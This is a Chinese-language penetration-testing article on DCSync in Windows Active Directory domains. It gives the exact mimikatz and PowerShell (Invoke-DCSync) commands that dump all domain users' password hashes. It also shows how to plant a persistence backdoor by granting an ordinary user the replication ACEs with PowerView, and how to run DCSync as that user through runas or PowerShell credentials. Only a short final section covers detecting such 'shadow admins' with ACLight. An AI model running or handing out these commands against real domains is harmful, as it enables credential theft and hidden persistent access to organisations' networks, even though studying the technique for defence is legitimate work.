0x00 前言
DCSync是域渗透中经常会用到的技术,本文会对开源的资料进行整理,结合自己的经验,总结利用和防御检测的方法。
0x01 简介
本文将要介绍以下内容:
· 利用DCSync导出域内所有用户hash的方法。
· 利用DCSync在域内维持权限的方法。
· 自动化检测DCSync后门的方法。
0x02 利用DCSync导出域内所有用户hash的方法
DCSync是mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,能够用来导出域内所有用户的hash。
利用条件:
获得以下任一用户的权限:
· Administrators组内的用户。
· Domain Admins组内的用户。
· Enterprise Admins组内的用户。
· 域控制器的计算机帐户。
利用原理:
利用DRS(Directory Replication Service)协议通过IDL_DRSGetNCChanges从域控制器复制用户凭据。
实现代码:
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/lsadump/kuhl_m_lsadump_dc.c#L27
利用方法:
1.使用mimikatz
导出域内所有用户的hash:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
导出域内administrator帐户的hash:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
2.powershell实现
https://gist.github.com/monoxgas/9d238accd969550136db
通过Invoke-ReflectivePEinjection调用mimikatz.dll中的dcsync功能。
导出域内所有用户的hash:
Invoke-DCSync -DumpForest | ft -wrap -autosize
导出域内administrator帐户的hash:
Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize
注:获得了域内用户的hash后,进一步利用可参考之前的文章:
《渗透技巧——Pass the Hash with Remote Desktop》
《域渗透——Pass The Hash & Pass The Key》
0x03 利用DCSync在域内维持权限的方法
利用条件:
获得以下任一用户的权限:
· Domain Admins组内的用户。
· Enterprise Admins组内的用户。
利用原理:
向域内的一个普通用户添加如下三条ACE(Access Control Entries):
· DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
· DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
· DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)
该用户即可获得利用DCSync导出域内所有用户hash的权限。
实现代码:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1#L8270
利用方法:
添加ACE的命令如下:
Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
补充:
删除ACE的命令:
Remove-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity test1 -Rights DCSync -Verbose
注:关于更多ACL的内容可参考之前的文章:《渗透技巧——Windows下的Access Control List》
使用域用户test1调用DCSync的方法如下:
1.在域内一台登录了test1用户的主机上面,直接使用mimikatz的DCSync功能
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
2.使用runas实现登录test1用户,再使用DCSync
(1)弹出cmd
runas /noprofile /user:test\test1 cmd
弹出的cmd下执行如下命令:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /all /csv" exit
(2)不弹框实现
runas /noprofile /user:test\test1 c:\test\1.bat
1.bat的内容如下:
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt
注:同类的工具还有lsrunas、lsrunase和CPAU。
3.使用powershell实现登录test1用户,再使用DCSync
(1)弹出cmd
$uname="test\test1" $pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force $cred=New-Object System.Management.Automation.PSCredential($uname,$pwd) Start-Process -FilePath "cmd.exe" -Credential $cred
弹出的cmd下执行如下命令:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit
(2)不弹框实现
$uname="test\test1" $pwd=ConvertTo-SecureString "12345678" -AsPlainText –Force $cred=New-Object System.Management.Automation.PSCredential($uname,$pwd) Start-Process -FilePath "c:\test\1.bat" -Credential $cred
1.bat的内容如下:
c:\test\mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:administrator /csv" exit>c:\test\1.txt
注:使用wmic在本机实现登录用户test1会失败,错误如下:
ERROR: Description = User credentials cannot be used for local connections
0x04 自动化检测DCSync后门的方法
具有高权限但不在高权限组的用户被称之为Shadow Admin,例如0x03中的域用户test1,仅通过查询高权限组的成员无法发现域内的Shadow Admin。
检测原理:
枚举Active Directory中所有用户的ACL,标记出特权帐户。
实现代码:
https://github.com/cyberark/ACLight
利用条件:
· Powershell v3.0。
· 域内普通用户权限。
检测方法:
执行项目中的Execute-ACLight2.bat
生成三个文件:
· Privileged Accounts – Layers Analysis.txt
· Privileged Accounts Permissions – Final Report.csv
· Privileged Accounts Permissions – Irregular Accounts.csv
文件中会显示出所有特权帐户。
经测试,ACLight能够检测出被添加DCSync权限的用户test1。
0x05 小结
本文介绍了域渗透中DCSync的利用和自动化检测的方法,站在防御的角度,建议使用ACLight对域环境的用户ACL进行检测。